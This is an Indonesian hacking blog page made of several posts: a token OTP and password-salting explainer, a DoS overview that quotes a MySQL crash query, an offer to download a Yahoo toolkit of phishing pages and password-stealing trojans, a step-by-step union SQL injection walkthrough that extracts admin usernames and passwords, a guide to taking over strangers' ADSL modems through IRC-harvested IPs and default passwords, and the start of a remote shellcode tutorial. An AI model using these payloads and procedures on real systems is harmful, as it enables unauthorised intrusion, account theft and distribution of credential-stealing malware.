  4. Dalam mode ini server tidak memberikan tantangan (challenge) apapun. Token pengguna bisa langsung mengeluarkan sederetan angka tanpa harus memasukkan challenge. Seperti mode C/R, token juga mengeluarkan kode yang berbeda-beda secara periodik tergantung waktu ketika token diminta untuk menghasilkan kode self generated.
Sebenarnya jawaban yang diberikan oleh token baik dalam mode C/R maupun Self Generated(resopnse only) tidak lain adalah password juga. Namun berbeda dengan password yang anda pakai untuk login, password yang dihasilkan token ini memiliki keterbatasan untuk alasan keamanan, yaitu:

  1. Hanya boleh dipakai 1 kali

  2. Ini disebut dengan OTP (One Time Password). Setelah suatu password dipakai, maka password yang sama tidak bisa lagi dipakai untuk kedua kalinya. Dengan cara ini tidak ada gunanya menyadap password yang dihasilkan token karena password tersebut tidak bisa dipakai lagi. Namun bila password tersebut di-intercept sehingga tidak pernah sampai ke server, maka password tersebut masih berharga karena di mata server, password itu belum pernah dipakai.
  3. Hanya boleh dipakai dalam rentang waktu yang terbatas
  4. Password yang dihasilkan token memiliki umur yang sangat terbatas, mungkin antara 3-6 menit bila umurnya habis maka password itu tidak bisa dipakai, walaupun belum pernah dipakai. Nanti akan saya jelaskan mengapa password token memerlukan umur, waktu merupakan unsur yang sangat kritikal dalam sistem ini.
  5. Hanya boleh dipakai dalam konteks sempit
  6. Bila password/PIN yang dipakai untuk login adalah password yang bebas konteks, dalam arti dengan berbekal password itu, anda bisa melakukan banyak hal, mulai dari melihat saldo, mengecek transaksi dan sebagainya. Namun password yang dihasilkan token, hanya bisa dipakai dalam konteks sempit, contohnya password yang dipakai untuk mengisi pulsa ke nomor 08123456789, tidak bisa dipakai untuk melakukan transfer dana.
    Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).
    Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.
Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:
  1. Selalu berubah-ubah secara periodik
  2. Memiliki umur yang singkat
  3. Hanya bisa dipakai 1 kali
  4. Terbagi dalam ada dua jenis, yaitu:
  • Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
  • Password bebas konteks yang dihasilkan dalam mode self generated.
Proses Otentikasi


Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:
password yang dikirimkan client = password yang disimpan di server
Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.
courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"
courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"
Penggunaan Salt
Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.

Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.
Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.

Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:
Username
Salt
Password Hash
budi
81090273
894240dbe3d2b546c05a1a8e9e0df1bc
Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.
Pembangkitan One Time Password (OTP) Token Internet Banking
Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.
OTP dalam Mode Self Generated (Response Only)


Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.

Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:
  1. Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
  2. Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
  3. Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.
Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.
Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.
Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.
Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:

  1. Detik ketika server meminta password (OTP) dari user
  2. Detik ketika token membangkitkan OTP
  3. Detik ketika server menerima OTP dari user
Perhatikan contoh di bawah ini:
Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.
Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.
Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.
otptoken1Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.

Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).
Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420 hingga EPOCH/10=780.
Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).
Umur OTP
Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.

OTP dalam Mode Challenge/Response
Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.
Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.

otptoken2
Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.
Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “rahasia”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “rahasia81090273″ bukan “rahasia”.

»»  READMORE...

Portable Yahoo Hacking Tools

================ Yahoo Hacking Tools ============
Yahoo Hacking Tools adalah Tools Portable dalam Kegiatan Hacking Yahoo messenger.
dalam Yahoo Hacking Tools ini terdapat Software :
1. Emo Creator
Tools untuk membuat Icon2
2. Fake Pager
Adalah aplikasi Yahoo Messenger Palsu, yang berguna untuk mencuri user name
dan password.
3. Magic Password
Trojan yang digunakan untuk mencuri password
4. Yahoo Booter.
Aplikasi untuk memboot lawan chating
5. Yahoo Fake Cam
Tools untuk mengecoh lawan chating dengan Cam Palsu
6. Yahoo Fake Login
Halaman Login Palsu Yahoo (2008), yah buat nyuri password orang yang akan dikirim ke email
7. Yahoo Pass Stealler
Trojan Builder untuk nyulik password
8. Yahoo Hack
Yahoo messengger Palsu
9. Yahoo Pass Crack
Crack Password Yahoo seseorang
10. Yahoo Password Recovery
Untuk mengetahui Password dan user name ym seseorang
Download Disini
Password : h4ck3v1l

Artikel ini gua dapat dari forum lain.....
»»  READMORE...

Memahami Serangan Denial of Service

Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.

Apa itu DoS... ??????


Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
  1. Mematikan Server
  2. Menyibukkan Server
    • Tanpa bug/vulnerability
    • Meng-exploit bug/vulnerability
DoS dengan Mematikan Server: Kill Them!
Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.
Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung  sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
  • Ping of Death ( CA-1996-26 )
  • Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
  • MySQL IF Query DoS ( SA25188 )
  • Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
  • Cisco Global Site Selector DNS Request Denial of Service (SA33429)
  • Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit.  Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
  • Exploiting vulnerability: Menyerang dengan malicious request/packet
  • No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik  hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.
Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:
  • TCP SYN Flood DoS
  • Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.
    Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
  • Apache mod_deflate DoS
  • Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.
    Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket  yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.
Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.

DDoS Botnet Attack
Courtesy of: www.dos-attack.net
Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).
Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
  • Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
  • Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
    • Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
    • Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.
»»  READMORE...

Simple Blind SQL Injection Method

--==[Langkah Pertama]==--


Find the target
ex: /news.php?pid=1
Add character ‘ at end of url to find error message.
ex: /news.php?pid=1′ atau
===========
--==[step two]==--
===========
find and count to amount the table in database.
use the command : order by
es: [site]/news.php?pid=-1+order+by+1–
chek step by step…
misal: /news.php?pid=-1+order+by+1–
/news.php?pid=-1+order+by+2–
/news.php?pid=-1+order+by+3–
/news.php?pid=-1+order+by+4–
so it appears error message or missing error…
ex: /news.php?pid=-1+order+by+5–
so that we take is up to number 4
ex: /news.php?pid=-1+order+by+4–
============
--==[step three]==--
============
for show the numbers that appear use the union
coz it error until 5
do this: /news.php?pid=-1+union+select+1,2,3,4–
=============
--==[step four]==--
=============
find the tabble
you can use your logic
example the table is
admin, admins, login, logins, user, users
use command +from+(table_name)–
ok do this
ex : /news.php?pid=-1+union+select+1,2,3,4+from+admin–
if not have error
and you can see the number is appear for example 2
go to the next step
============
--==[step five]==--
============
find the username & peassword coloumn
for username
use ur logic again
example:
user, usr, username, user_name, login, user_admin, name, admin_user, and etc
last number 2 is appear
do this
ex : /news.php?pid=-1+union+select+1,username,3,4+from+admin–
example appear : admin
admin is username
for password
use ur logic again
example:
password, pswd, passwd, pass, pwd, kunci, masuk, sandi, and etc
ex : /news.php?pid=-1+union+select+1,password,3,4+from+admin–
example appear : 123456
123456 is password
===============
--==[step six]==--
===============
ok in the last step you must find admin page
ex : website.com/admin
sorry bhs inggris hehehehe..
=====================
»»  READMORE...

Teknik Hacking Modem ADSL dan Account Speedy

Langkah Pertama
Buka aplikasi mIRC? pilih server Dalnet? dan koneksikan. Kemudian join di beberapa channel itu terserah anda, dalam hal ini gw mencari target di channel #balikpapan dan #samarinda. Sesudah anda join klik Dalnet Status, kemudian ketikkan perintah ?/who #nama channel? tanpa tanda petik. Maka akan timbul beberapa teks. Biasanya IP dari Telkom Speedy angka awalnya adalah 125.xxx.xxx.xxx, IP inilah yang akan menjadi target scanning. Lihat gambar dibawah ini.

Image


Langkah Kedua
Buka aplikasi Advanced Port Scanner v1.0 Beta 1, kemudian cari sebuah IP contoh 125.160.33.41 ini merupakan sebuah IP TelkomSpeedy. Tetapi bukan IP itu yang akan kita scanning melainkan mengambil range IP dari 125.160.33.1-125.160.33.255, jadi angka yang diambil hanya 125.160.33. bukan 125.160.33.41 dan range yang dipake dari 1-255. Lihat hasil dari scanning tersebut.

Image


Langkah Ketiga
Tes IP tersebut dengan menggunakan web browser, disini gw memakai Mozilla Firefox kemudian masukan IP tersebut. apabila timbul pop up login berarti modem ADSL tersebut bisa di remote dari luar. Selanjutnya berbekal kemampuan untuk menembus password dari modem sebaiknya anda mencari tutorial mengenai beberapa password default sebuah modem dengan merk-merk yang berbeda..

Image



Gambar diatas merupakan login dari modem PROLINK type H9200.

Image


Ini merupakan tampilan dari modem Prolink H920. Kemudian Pada kolom WAN Interfaces klik ppp-0 seperti yang terlihat pada gambar. Kemudian klik edit untuk melihat konfigurasi dari modem sekaligus untuk mencari account telkomspeedy.

Image


Maka kita akan melihat tampilan seperti dibawah ini:

Image



Untuk melihat password, cukup dengan klik kanan pada pop up diatas view page source. Kemudian cari kata passwd. Lihat hasil pada gambar berikut:

Image



Dari hasil diatas dapat dicoba di situs TelkomSpeedy untuk menguji account yang telah gw dapat. Accountnya adalah 161101201848@telkom.net dan passnya tetap saya hidden kan demi menjaga privacy yang punya account.

Image


Image


Semua ini merupakan pembelajaran mengenai dunia hacking, penulis tidak bertanggung jawab atas kerusakan yang terjadi akibat penyalahgunaan artikel ini.
»»  READMORE...

Belajar Membuat Shellcode Part 2: Remote Exploit Shellcode

Dalam artikel sebelumnya saya sudah menjelaskan dasar-dasar pembuatan shellcode. Saya sudah menjelaskan pembuatan shellcode untuk local exploit. Nah kali ini saya akan lanjutkan lagi untuk membuat shellcode yang dipakai untuk exploit secara remote.

--==[Remote Exploit]==--

Remote exploit adalah teknik exploitasi yang dilakukan secara remote melalui jaringan. Exploit jenis ini biasanya menyerang server/daemon yang sedang “LISTEN” di port tertentu.
Perbedaan utama antara local exploit dan remote exploit adalah pada kondisi awalnya. Pada local exploit, sejak awal attacker sudah memiliki shell access baik melalui ssh, telnet atau remote desktop connection, namun dengan hak akses terbatas (sebagai normal user). Sedangkan pada remote exploit, kondisi awal attacker adalah tidak memiliki akses shell. Akses shell yang saya maksud adalah kemampun untuk execute suatu file executable.
Jadi pada local exploit, tujuannya adalah privilege escalation atas hak akses yang terbatas tersebut menjadi tidak terbatas (root/administrator). Sedangkan pada remote exploit, karena pada awalnya tidak punya akses shell, maka remote exploit berusaha mendapatkan akses shell, baik sebagai user biasa maupun sebagai super user (root/administrator).


--==[Remote Shellcode]==--

Dalam artikel ini saya akan menjelaskan tentang pembuatan 2 jenis remote shellcode, yaitu:
  • Port Binding Shellcode
Shellcode jenis ini bertujuan untuk memberikan shell yang bisa diakses dari jauh melalui port tertentu. Attacker bisa mengakses shell tersebut dengan membuka koneksi ke IP komputer target pada port yang sudah ditentukan sebelumnya.
port binding
Port binding shellcode tidak berguna bila komputer target dilindungi dengan firewall yang memblok inbound koneksi ke port di luar port yang diijinkan.
Firewall yang ditakutkan bukan firewall yang berada di komputer target sebab attacker bisa juga menambahkan rutin untuk mendisable firewall di komputer target. Tetapi firewall yang berada di luar komputer target tidak bisa dimatikan dari komputer target.

Reverse connecting shellcode mirip dengan port binding shellcode namun arah koneksinya terbalik. Dalam shellcode ini justru komputer target yang membuka koneksi ke attacker. Kenapa diperlukan shellcode seperti ini? Dalam banyak kasus orang sangat paranoid terhadap koneksi yang masuk ke komputernya, namun tidak terlalu paranoid untuk koneksi keluar.
reverseconnecting
Port yang biasanya diijinkan untuk diakses adalah port untuk http, yaitu 80 dan 443 (SSL) karena ini adalah layanan yang paling banyak dipakai sehingga kecil kemungkinan ada admin yang memblok koneksi ke web server luar
Socket Programming
Apa itu socket? Socket merupakan salah satu metode IPC (inter process communication), yaitu komunikasi antar proses (running program) di komputer yang sama maupun di komputer lain (melalui jaringan). Dalam kasus ini kita membicarakan mengenai internet socket, yaitu socket yang digunakan untuk berkomunikasi melalui jaringan baik dengan komputer yang sama (localhost) maupun dengan komputer lain.
Ada dua jenis internet socket, yaitu datagram socket dan stream socket. Datagram socket digunakan untuk berkomunikasi menggunakan protokol UDP. Protokol UDP tidak cocok dipakai untuk kasus ini karena protokol ini tidak reliable. Stream socket adalah socket yang memakai protokol TCP, protokol inilah yang akan dipakai dalam shellcode ini.
Sebelum bisa memakai fungsi-fungsi socket, program harus meng-include header file berikut:


#include <sys/socket.h>     // library untuk socket
#include <netinet/in.h>      // definisi struct untuk socket

Network Byte Order vs Host Byte Order


Dalam komputer, ada aturan bagaimana data secara internal disimpan. Ada dua kubu aturan penyimpanan yang dipakai: little endian dan big endian. Ada beberapa arsitektur komputer yang memakai little endian seperti Intel, dan ada juga yang memakai big endian seperti Motorola dan PowerPC.

Dalam socket programming kita akan berkomunikasi dengan komputer lain yang tidak selalu sejenis arsitekturnya dengan yang kita pakai. Mungkin di komputer kita memakai little endian, berkomunikasi dengan komputer yang memakai big endian. Karena ada variasi ini, maka protokol IP mendefinisikan istilah network byte order dan host byte order.

Network byte order adalah byte order dari protokol network yaitu memakai big endian byte ordering.

